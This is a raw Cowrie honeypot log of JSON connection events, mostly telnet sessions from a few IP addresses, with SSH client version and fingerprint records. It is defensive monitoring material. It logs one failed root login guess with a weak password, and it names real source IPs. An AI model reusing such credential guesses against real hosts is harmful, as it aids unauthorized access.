{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":49036,"dst_ip":"10.17.0.5","dst_port":23,"session":"395fca3283b5","protocol":"telnet","message":"New connection: 103.249.100.206:49036 (10.17.0.5:23) [session: 395fca3283b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:43.700431Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:44.340707Z","src_ip":"2.57.122.238","session":"710cd89367bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":51142,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7155e446077","protocol":"telnet","message":"New connection: 216.238.80.67:51142 (10.17.0.5:23) [session: c7155e446077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:45.336067Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":50534,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef09f870892d","protocol":"telnet","message":"New connection: 216.238.80.67:50534 (10.17.0.5:23) [session: ef09f870892d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:45.644588Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":51366,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1cf471e70db","protocol":"telnet","message":"New connection: 216.238.80.67:51366 (10.17.0.5:23) [session: a1cf471e70db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:45.704129Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":51184,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82a2aadb667","protocol":"telnet","message":"New connection: 103.249.100.206:51184 (10.17.0.5:23) [session: a82a2aadb667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:45.863035Z"}
{"eventid":"cowrie.session.closed","duration":31.508917331695557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.132623Z","src_ip":"103.249.100.206","session":"3600ef4a6641","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764308214187622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.150764Z","src_ip":"216.238.80.67","session":"e8748400342e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71025800704956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.423235Z","src_ip":"103.249.100.206","session":"8aaa0f07165d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.51066541671753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.536027Z","src_ip":"216.238.80.67","session":"188d8716dbaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872309684753418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.565703Z","src_ip":"103.249.100.206","session":"dbc6094d7627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52162,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0b316f7e7bd","protocol":"telnet","message":"New connection: 103.249.100.206:52162 (10.17.0.5:23) [session: e0b316f7e7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.606331Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":51916,"dst_ip":"10.17.0.5","dst_port":23,"session":"52f070c3f4cd","protocol":"telnet","message":"New connection: 216.238.80.67:51916 (10.17.0.5:23) [session: 52f070c3f4cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.786289Z"}
{"eventid":"cowrie.session.closed","duration":31.095526695251465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.817952Z","src_ip":"103.249.100.206","session":"e2313640c283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52426,"dst_ip":"10.17.0.5","dst_port":23,"session":"32f16d72f086","protocol":"telnet","message":"New connection: 103.249.100.206:52426 (10.17.0.5:23) [session: 32f16d72f086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:46.865741Z"}
{"eventid":"cowrie.session.closed","duration":30.533201217651367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:47.369045Z","src_ip":"103.249.100.206","session":"56efe9f401b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.393815279006958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:47.397466Z","src_ip":"103.249.100.206","session":"8889e4d07999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.425729036331177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:47.537246Z","src_ip":"103.249.100.206","session":"3e3ccb9e2b61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":52202,"dst_ip":"10.17.0.5","dst_port":23,"session":"6faba1f25890","protocol":"telnet","message":"New connection: 103.249.100.206:52202 (10.17.0.5:23) [session: 6faba1f25890]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:47.612094Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":53578,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfead101c38d","protocol":"telnet","message":"New connection: 103.249.100.206:53578 (10.17.0.5:23) [session: dfead101c38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:47.686198Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":53822,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bf6c6adec4e","protocol":"telnet","message":"New connection: 103.249.100.206:53822 (10.17.0.5:23) [session: 5bf6c6adec4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:47.944034Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":44634,"dst_ip":"10.17.0.5","dst_port":23,"session":"06482fd6f90b","protocol":"telnet","message":"New connection: 162.241.114.254:44634 (10.17.0.5:23) [session: 06482fd6f90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:48.251139Z"}
{"eventid":"cowrie.session.closed","duration":30.551902770996094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:48.316037Z","src_ip":"103.249.100.206","session":"c4c3c250ae85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55118,"dst_ip":"10.17.0.5","dst_port":23,"session":"c97c1702bf08","protocol":"telnet","message":"New connection: 103.249.100.206:55118 (10.17.0.5:23) [session: c97c1702bf08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:48.980225Z"}
{"eventid":"cowrie.session.closed","duration":30.31202721595764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:49.108175Z","src_ip":"216.238.80.67","session":"73d33cb199be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23177933692932,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:49.282520Z","src_ip":"103.249.100.206","session":"30aaf9252f22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83583378791809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:49.417709Z","src_ip":"216.238.80.67","session":"efb13be12677","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":51848,"dst_ip":"10.17.0.5","dst_port":23,"session":"098d112a3fe1","protocol":"telnet","message":"New connection: 216.238.80.67:51848 (10.17.0.5:23) [session: 098d112a3fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:49.592083Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":56078,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb436a8fcb7","protocol":"telnet","message":"New connection: 103.249.100.206:56078 (10.17.0.5:23) [session: fbb436a8fcb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:49.728508Z"}
{"eventid":"cowrie.session.closed","duration":31.075107097625732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:49.748546Z","src_ip":"216.238.80.67","session":"29e1c14369e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":53872,"dst_ip":"10.17.0.5","dst_port":23,"session":"f081a06d3d39","protocol":"telnet","message":"New connection: 216.238.80.67:53872 (10.17.0.5:23) [session: f081a06d3d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:49.941039Z"}
{"eventid":"cowrie.session.closed","duration":30.53178119659424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:50.148740Z","src_ip":"103.249.100.206","session":"dde86d08169d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.408693075180054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:50.412374Z","src_ip":"103.249.100.206","session":"be15d5940d25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23712658882141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:50.603053Z","src_ip":"103.249.100.206","session":"32a67893f232","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57218,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b4c6a833dc4","protocol":"telnet","message":"New connection: 103.249.100.206:57218 (10.17.0.5:23) [session: 1b4c6a833dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:50.668523Z"}
{"eventid":"cowrie.session.closed","duration":31.298728466033936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:50.822490Z","src_ip":"103.249.100.206","session":"1763f85043d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":54386,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a035f81007","protocol":"telnet","message":"New connection: 103.249.100.206:54386 (10.17.0.5:23) [session: 32a035f81007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:51.342204Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":48582,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ceae093dd32","protocol":"ssh","message":"New connection: 43.157.98.118:48582 (159.203.135.109:22) [session: 2ceae093dd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:51.489088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:51.492616Z","src_ip":"43.157.98.118","session":"2ceae093dd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.541409015655518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:51.557124Z","src_ip":"103.249.100.206","session":"e7246bb19516","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:51.580618Z","src_ip":"43.157.98.118","session":"2ceae093dd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.55560302734375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:51.656377Z","src_ip":"103.249.100.206","session":"22839be3945b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":54752,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab261f6f8ab0","protocol":"telnet","message":"New connection: 103.249.100.206:54752 (10.17.0.5:23) [session: ab261f6f8ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:51.695753Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":58464,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d680cc130bd","protocol":"telnet","message":"New connection: 103.249.100.206:58464 (10.17.0.5:23) [session: 9d680cc130bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:51.826948Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57664,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ab824ba840","protocol":"telnet","message":"New connection: 103.249.100.206:57664 (10.17.0.5:23) [session: e4ab824ba840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.085669Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":57904,"dst_ip":"10.17.0.5","dst_port":23,"session":"a21c43285536","protocol":"telnet","message":"New connection: 103.249.100.206:57904 (10.17.0.5:23) [session: a21c43285536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.228609Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckingpassword","message":"login attempt [root/fuckingpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.257505Z","src_ip":"43.157.98.118","session":"2ceae093dd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.352712392807007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.293750Z","src_ip":"216.238.80.67","session":"09977210730c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.302340030670166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.387254Z","src_ip":"103.249.100.206","session":"6f637bebc7f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4345440864563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.446089Z","src_ip":"216.238.80.67","session":"5a9022f5c37b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":59508,"dst_ip":"10.17.0.5","dst_port":23,"session":"f786e3e99354","protocol":"telnet","message":"New connection: 103.249.100.206:59508 (10.17.0.5:23) [session: f786e3e99354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.522541Z"}
{"eventid":"cowrie.session.closed","duration":33.37674880027771,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.664107Z","src_ip":"103.249.100.206","session":"49cfd2e51c5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12318515777588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:52.962235Z","src_ip":"103.249.100.206","session":"dcdb4d9d71a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.162108421325684,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.112438Z","src_ip":"137.184.155.248","session":"bdf3e1941649","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.346954Z","src_ip":"43.157.98.118","session":"2ceae093dd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75772523880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.367997Z","src_ip":"103.249.100.206","session":"825dfec26e08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090296745300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.522304Z","src_ip":"103.249.100.206","session":"306df8918622","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":56352,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1fbcaefd01b","protocol":"telnet","message":"New connection: 216.238.80.67:56352 (10.17.0.5:23) [session: a1fbcaefd01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.594160Z"}
{"eventid":"cowrie.session.closed","duration":31.054640769958496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.601909Z","src_ip":"216.238.80.67","session":"b28a8c32fbf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":59662,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf20642cda0","protocol":"telnet","message":"New connection: 103.249.100.206:59662 (10.17.0.5:23) [session: ccf20642cda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.722739Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60850,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e5e15f28537","protocol":"telnet","message":"New connection: 103.249.100.206:60850 (10.17.0.5:23) [session: 8e5e15f28537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.769274Z"}
{"eventid":"cowrie.session.closed","duration":31.723387718200684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.863819Z","src_ip":"103.249.100.206","session":"6d5afa39fc87","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.935642957687378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:53.890695Z","src_ip":"103.249.100.206","session":"b2a47b414d94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.344014167785645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:54.276760Z","src_ip":"216.238.80.67","session":"5b6e884c9d0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":33598,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb05ab98c868","protocol":"telnet","message":"New connection: 103.249.100.206:33598 (10.17.0.5:23) [session: cb05ab98c868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:54.509359Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":57106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4786586a6129","protocol":"telnet","message":"New connection: 216.238.80.67:57106 (10.17.0.5:23) [session: 4786586a6129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:54.852770Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":33900,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc97eddc2bea","protocol":"telnet","message":"New connection: 103.249.100.206:33900 (10.17.0.5:23) [session: cc97eddc2bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:54.962421Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34032,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d2f42935d4","protocol":"telnet","message":"New connection: 103.249.100.206:34032 (10.17.0.5:23) [session: e7d2f42935d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:55.102436Z"}
{"eventid":"cowrie.session.closed","duration":30.81947684288025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:55.190923Z","src_ip":"216.238.80.67","session":"f6502f331bfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":56654,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3eab1078987","protocol":"telnet","message":"New connection: 216.238.80.67:56654 (10.17.0.5:23) [session: b3eab1078987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:55.200325Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":56666,"dst_ip":"10.17.0.5","dst_port":23,"session":"259a03364d04","protocol":"telnet","message":"New connection: 216.238.80.67:56666 (10.17.0.5:23) [session: 259a03364d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:55.208915Z"}
{"eventid":"cowrie.session.closed","duration":30.953964471817017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:55.320009Z","src_ip":"103.249.100.206","session":"861072dca27b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":57076,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0136343935e","protocol":"telnet","message":"New connection: 216.238.80.67:57076 (10.17.0.5:23) [session: a0136343935e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:55.743778Z"}
{"eventid":"cowrie.session.closed","duration":31.075632095336914,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:55.858910Z","src_ip":"103.249.100.206","session":"1bfbe6c46167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":34752,"dst_ip":"10.17.0.5","dst_port":23,"session":"f39ef0482302","protocol":"telnet","message":"New connection: 103.249.100.206:34752 (10.17.0.5:23) [session: f39ef0482302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:55.907301Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":43732,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b4cb11baae1","protocol":"ssh","message":"New connection: 194.59.206.2:43732 (10.17.0.5:22) [session: 1b4cb11baae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.101287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:15:56.123508Z","src_ip":"194.59.206.2","session":"1b4cb11baae1","protocol":"ssh"}
